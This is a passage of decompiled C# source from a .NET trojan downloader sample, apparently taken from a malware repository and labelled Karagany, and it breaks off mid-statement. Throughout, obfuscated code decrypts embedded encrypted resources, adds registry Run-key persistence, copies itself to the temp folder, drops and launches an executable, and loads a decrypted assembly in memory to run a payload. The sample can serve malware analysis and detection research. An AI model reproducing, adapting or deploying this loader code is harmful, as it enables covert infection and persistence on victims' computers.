// Decompiled with JetBrains decompiler // Type: SOUCHEIE.Form1 // Assembly: SOUCHEIE, Version=3.7.2.8, Culture=neutral, PublicKeyToken=null // MVID: 9463E62C-5BDE-47C8-BBBA-DFBD0AA5A3A3 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.Win32.Karagany.dd-2cc5473996e68437dada294106155dfa4c6904107200c7a154f2ef1428c29950.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using Microsoft.Win32; using SOUCHEIE.My; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; using System.Threading; using System.Windows.Forms; namespace SOUCHEIE { [DesignerGenerated] public class Form1 : Form { private IContainer components; [AccessedThroughProperty("Button1")] private Button _Button1; [AccessedThroughProperty("Button2")] private Button _Button2; [AccessedThroughProperty("Button3")] private Button _Button3; [AccessedThroughProperty("CheckBox1")] private CheckBox _CheckBox1; [AccessedThroughProperty("CheckBox2")] private CheckBox _CheckBox2; [AccessedThroughProperty("Label1")] private Label _Label1; [AccessedThroughProperty("GroupBox1")] private GroupBox _GroupBox1; [AccessedThroughProperty("Label2")] private Label _Label2; [AccessedThroughProperty("ComboBox1")] private ComboBox _ComboBox1; public string ndnmrvXfvEtRnGWDjtjqaPE; public string[] pimiUBLAhwQUpDuiKLgNvgG; public object DUNVHvMpaSimcJtvTLJrTQe; public Form1() { this.Load += new EventHandler(this.dFepogsdawimFWXXLYGtuln); this.ndnmrvXfvEtRnGWDjtjqaPE = Application.ExecutablePath; this.pimiUBLAhwQUpDuiKLgNvgG = Strings.Split(Encoding.Default.GetString(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(254)) + "K{p" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(156)) + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(183)) + "S" + Conversions.ToString(Strings.Chr(171)) + "^" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(165)) + Conversions.ToString(Strings.Chr(136)) + "W")))), this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(206)) + "x")); this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.Button1 = new Button(); this.Button2 = new Button(); this.Button3 = new Button(); this.CheckBox1 = new CheckBox(); this.CheckBox2 = new CheckBox(); this.Label1 = new Label(); this.GroupBox1 = new GroupBox(); this.Label2 = new Label(); this.ComboBox1 = new ComboBox(); this.SuspendLayout(); Button button1_1 = this.Button1; Point point1 = new Point(62, 36); Point point2 = point1; button1_1.Location = point2; this.Button1.Name = "Button1"; Button button1_2 = this.Button1; Size size1 = new Size(75, 23); Size size2 = size1; button1_2.Size = size2; this.Button1.TabIndex = 0; this.Button1.Text = "Button1"; this.Button1.UseVisualStyleBackColor = true; Button button2_1 = this.Button2; point1 = new Point(205, 224); Point point3 = point1; button2_1.Location = point3; this.Button2.Name = "Button2"; Button button2_2 = this.Button2; size1 = new Size(75, 23); Size size3 = size1; button2_2.Size = size3; this.Button2.TabIndex = 1; this.Button2.Text = "Button2"; this.Button2.UseVisualStyleBackColor = true; Button button3_1 = this.Button3; point1 = new Point(28, 224); Point point4 = point1; button3_1.Location = point4; this.Button3.Name = "Button3"; Button button3_2 = this.Button3; size1 = new Size(75, 23); Size size4 = size1; button3_2.Size = size4; this.Button3.TabIndex = 2; this.Button3.Text = "Button3"; this.Button3.UseVisualStyleBackColor = true; this.CheckBox1.AutoSize = true; CheckBox checkBox1_1 = this.CheckBox1; point1 = new Point(99, 94); Point point5 = point1; checkBox1_1.Location = point5; this.CheckBox1.Name = "CheckBox1"; CheckBox checkBox1_2 = this.CheckBox1; size1 = new Size(81, 17); Size size5 = size1; checkBox1_2.Size = size5; this.CheckBox1.TabIndex = 3; this.CheckBox1.Text = "CheckBox1"; this.CheckBox1.UseVisualStyleBackColor = true; this.CheckBox2.AutoSize = true; CheckBox checkBox2_1 = this.CheckBox2; point1 = new Point(22, 165); Point point6 = point1; checkBox2_1.Location = point6; this.CheckBox2.Name = "CheckBox2"; CheckBox checkBox2_2 = this.CheckBox2; size1 = new Size(81, 17); Size size6 = size1; checkBox2_2.Size = size6; this.CheckBox2.TabIndex = 4; this.CheckBox2.Text = "CheckBox2"; this.CheckBox2.UseVisualStyleBackColor = true; this.Label1.AutoSize = true; Label label1_1 = this.Label1; point1 = new Point(155, 150); Point point7 = point1; label1_1.Location = point7; this.Label1.Name = "Label1"; Label label1_2 = this.Label1; size1 = new Size(39, 13); Size size7 = size1; label1_2.Size = size7; this.Label1.TabIndex = 5; this.Label1.Text = "Label1"; GroupBox groupBox1_1 = this.GroupBox1; point1 = new Point(62, 82); Point point8 = point1; groupBox1_1.Location = point8; this.GroupBox1.Name = "GroupBox1"; GroupBox groupBox1_2 = this.GroupBox1; size1 = new Size(200, 100); Size size8 = size1; groupBox1_2.Size = size8; this.GroupBox1.TabIndex = 6; this.GroupBox1.TabStop = false; this.GroupBox1.Text = "GroupBox1"; this.Label2.AutoSize = true; Label label2_1 = this.Label2; point1 = new Point(177, 29); Point point9 = point1; label2_1.Location = point9; this.Label2.Name = "Label2"; Label label2_2 = this.Label2; size1 = new Size(39, 13); Size size9 = size1; label2_2.Size = size9; this.Label2.TabIndex = 7; this.Label2.Text = "Label2"; this.ComboBox1.FormattingEnabled = true; ComboBox comboBox1_1 = this.ComboBox1; point1 = new Point(12, 94); Point point10 = point1; comboBox1_1.Location = point10; this.ComboBox1.Name = "ComboBox1"; ComboBox comboBox1_2 = this.ComboBox1; size1 = new Size(121, 21); Size size10 = size1; comboBox1_2.Size = size10; this.ComboBox1.TabIndex = 8; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; size1 = new Size(292, 273); this.ClientSize = size1; this.Controls.Add((Control) this.ComboBox1); this.Controls.Add((Control) this.Label2); this.Controls.Add((Control) this.GroupBox1); this.Controls.Add((Control) this.Label1); this.Controls.Add((Control) this.CheckBox2); this.Controls.Add((Control) this.CheckBox1); this.Controls.Add((Control) this.Button3); this.Controls.Add((Control) this.Button2); this.Controls.Add((Control) this.Button1); this.Name = "KING"; this.Text = nameof (Form1); this.ResumeLayout(false); this.PerformLayout(); } internal virtual Button Button1 { get => this._Button1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value; } internal virtual Button Button2 { get => this._Button2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value; } internal virtual Button Button3 { get => this._Button3; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value; } internal virtual CheckBox CheckBox1 { get => this._CheckBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value; } internal virtual CheckBox CheckBox2 { get => this._CheckBox2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value; } internal virtual Label Label1 { get => this._Label1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; } internal virtual GroupBox GroupBox1 { get => this._GroupBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value; } internal virtual Label Label2 { get => this._Label2; [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; } internal virtual ComboBox ComboBox1 { get => this._ComboBox1; [MethodImpl(MethodImplOptions.Synchronized)] set => this._ComboBox1 = value; } private void dFepogsdawimFWXXLYGtuln(object sender, EventArgs e) { try { if (Conversions.ToDouble(this.pimiUBLAhwQUpDuiKLgNvgG[14]) != 0.0) Thread.Sleep(Conversions.ToInteger(this.pimiUBLAhwQUpDuiKLgNvgG[14])); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[6], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.AbWjJrcashsrUglvWLpPUBT(this.pimiUBLAhwQUpDuiKLgNvgG[7], this.pimiUBLAhwQUpDuiKLgNvgG[8]); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[10], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.RXXeGpqoUgCmIipoOOesgoC(); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[11], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.cvGqHnmUkvCkHFuKRHnFvee(); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[9], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.bJwQqmrhNCUHsooEXOHZEXb(); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[12], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.JifTRmpsoLwDgKYvqYDjDUn(); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[13], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) this.GcgXojEaFPbweNAQSKGPfDl(); if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[15], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) { int num = (int) Interaction.MsgBox((object) this.pimiUBLAhwQUpDuiKLgNvgG[18], (MsgBoxStyle) Conversions.ToInteger(this.pimiUBLAhwQUpDuiKLgNvgG[16]), (object) this.pimiUBLAhwQUpDuiKLgNvgG[17]); } if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[19], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(235)) + "AM"), false) == 0) { File.WriteAllBytes((Path.GetTempPath() + this.pimiUBLAhwQUpDuiKLgNvgG[22]).Replace("\0", ""), this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[20])), this.pimiUBLAhwQUpDuiKLgNvgG[21])); Process.Start((Path.GetTempPath() + this.pimiUBLAhwQUpDuiKLgNvgG[22]).Replace("\0", "")); } } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[4], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(131))), false) == 0) { if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[5], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(196)) + "f}"), false) != 0) { if (Operators.CompareString(this.pimiUBLAhwQUpDuiKLgNvgG[5], this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(240)) + "kfa" + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(157)) + Conversions.ToString(Strings.Chr(211)) + Conversions.ToString(Strings.Chr(144)) + "_" + Conversions.ToString(Strings.Chr(156)) + "v" + Conversions.ToString(Strings.Chr(189)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(180)) + "E"), false) == 0) this.DUNVHvMpaSimcJtvTLJrTQe = (object) new object[2] { (object) this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[0])), this.pimiUBLAhwQUpDuiKLgNvgG[1]), (object) this.ndnmrvXfvEtRnGWDjtjqaPE }; } else this.DUNVHvMpaSimcJtvTLJrTQe = (object) new object[2] { (object) this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[0])), this.pimiUBLAhwQUpDuiKLgNvgG[1]), (object) (Environment.GetEnvironmentVariable(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(197)) + "mpu" + Conversions.ToString(Strings.Chr(166)) + Conversions.ToString(Strings.Chr(158)))) + this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(238)) + "Iwr" + Conversions.ToString(Strings.Chr(189)) + Conversions.ToString(Strings.Chr(131)) + Conversions.ToString(Strings.Chr(245)) + Conversions.ToString(Strings.Chr(176)) + "V" + Conversions.ToString(Strings.Chr(135)) + "<" + Conversions.ToString(Strings.Chr(169)) + Conversions.ToString(Strings.Chr(151)) + Conversions.ToString(Strings.Chr(181)) + "\u007F5" + Conversions.ToString(Strings.Chr(231)) + Conversions.ToString(Strings.Chr(145)) + "u" + Conversions.ToString(Strings.Chr(192)) + Conversions.ToString(Strings.Chr(190)) + Conversions.ToString(Strings.Chr(147)) + Conversions.ToString(Strings.Chr(138)) + "," + Conversions.ToString(Strings.Chr(231)) + Conversions.ToString(Strings.Chr(238)) + Conversions.ToString(Strings.Chr(168)) + Conversions.ToString(Strings.Chr(250)) + "o" + Conversions.ToString(Strings.Chr(154)) + "v" + Conversions.ToString(Strings.Chr(146)) + Conversions.ToString(Strings.Chr(227)) + Conversions.ToString(Strings.Chr(207)) + "\a" + Conversions.ToString(Strings.Chr(175)) + "\aj" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(130)) + "\u00150D")) }; Assembly.Load(this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[2])), this.pimiUBLAhwQUpDuiKLgNvgG[3])).GetType(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(251)) + "\\")).InvokeMember(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(243)) + "E"), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.DUNVHvMpaSimcJtvTLJrTQe); } else { this.DUNVHvMpaSimcJtvTLJrTQe = (object) new object[6] { (object) this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[0])), this.pimiUBLAhwQUpDuiKLgNvgG[1]), (object) true, (object) this.pimiUBLAhwQUpDuiKLgNvgG[5], (object) this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(156)) + "aft"), (object) true, (object) false }; Assembly.Load(this.nqvAWtbiCPaaiamiNLPivRs(this.TUGGEjqkhdQUTQXLCYdPZEP(this.GetType().Assembly.GetManifestResourceStream(this.pimiUBLAhwQUpDuiKLgNvgG[2])), this.pimiUBLAhwQUpDuiKLgNvgG[3])).GetType(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(224)) + "qpA" + Conversions.ToString(Strings.Chr(138)))).InvokeMember(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(251)) + "jtt" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(152)) + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(154))), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.DUNVHvMpaSimcJtvTLJrTQe); } this.Close(); } public object dbQKEPUPjMdFsNdGcXTgwED(string OpYLktpcQZZGtbw, string KLRMgiGGRsnFwXQ) { TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(KLRMgiGGRsnFwXQ)); cryptoServiceProvider1.Mode = CipherMode.ECB; ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); byte[] inputBuffer = Convert.FromBase64String(OpYLktpcQZZGtbw); return (object) Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); } public byte[] nqvAWtbiCPaaiamiNLPivRs(byte[] WDHGaiBwEtINXLU, string qrSdGIwGSUsCahp) { TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(qrSdGIwGSUsCahp)); cryptoServiceProvider1.Mode = CipherMode.ECB; ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); byte[] inputBuffer = WDHGaiBwEtINXLU; return decryptor.TransformFinalBlock(inputBuffer, 0, checked (inputBuffer.Length - 1)); } private object AbWjJrcashsrUglvWLpPUBT(string RjpBKtyoXKovFnX, string RFxHQxRvBmidXoU) { if (Operators.CompareString(this.ndnmrvXfvEtRnGWDjtjqaPE, Path.GetTempPath() + RFxHQxRvBmidXoU, false) != 0) { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(225)) + "kxe" + Conversions.ToString(Strings.Chr(184)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(186)) + "l" + Conversions.ToString(Strings.Chr(190)) + "{" + Conversions.ToString(Strings.Chr(132)) + Conversions.ToString(Strings.Chr(160)) + Conversions.ToString(Strings.Chr(142)) + "P\u001C" + Conversions.ToString(Strings.Chr(243)) + Conversions.ToString(Strings.Chr(132)) + "D" + Conversions.ToString(Strings.Chr(242)) + Conversions.ToString(Strings.Chr(160)) + Conversions.ToString(Strings.Chr(146)) + Conversions.ToString(Strings.Chr(156)) + "(" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(198)) + Conversions.ToString(Strings.Chr(151)) + "*" + Conversions.ToString(Strings.Chr(198)) + "1" + Conversions.ToString(Strings.Chr(199)) + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(137)) + "f" + Conversions.ToString(Strings.Chr(150)) + "\u0003{" + Conversions.ToString(Strings.Chr(206)) + Conversions.ToString(Strings.Chr(195)) + "\u001E\u0014s" + Conversions.ToString(Strings.Chr(136)) + Conversions.ToString(Strings.Chr(166))), true); registryKey.SetValue(RjpBKtyoXKovFnX, (object) (Path.GetTempPath() + RFxHQxRvBmidXoU), RegistryValueKind.String); registryKey.Close(); try { File.Copy(this.ndnmrvXfvEtRnGWDjtjqaPE, Path.GetTempPath() + RFxHQxRvBmidXoU, true); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } } object obj; return obj; } private object cvGqHnmUkvCkHFuKRHnFvee() { try { MyProject.Computer.Registry.SetValue(this.SevdniwAKhioHCREIfujevM(Conversions.ToString(Strings.Chr(250)) + "O[H" + Conversions.ToString(Strings.Chr(144)) + Conversions.ToString(Strings.Chr(175)) + Conversions.ToString(Strings.Chr(211)) + Conversions.ToString(Strings.Chr(141)) + "b" + Conversions.ToString(Strings.Chr(182)) + "\\" + Conversions.ToString(Strings.Chr(179)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(180)) + "p6" + Conversions.ToString(Strings.Chr(199)) + Conversions.ToString(Strings.Chr(172)) + "K" + Conversions.ToString(Strings.Chr(202)) + Conversions.ToString(Strings.Chr(175)) + Conversions.ToString(Strings.Chr(136)) + Conversions.ToString(Strings.Chr(143)) + "&" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(253)) + Conversions.ToString(Strings.Chr(198)) + Conversions.ToString(Strings.Chr(132)) + "0" + Conversions.ToString(Strings.Chr(216)) + "*" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(189)) + Conversions.ToString(Strings.Chr(152)) + "C" + Conversions.ToString(Strings.Chr(175)) + "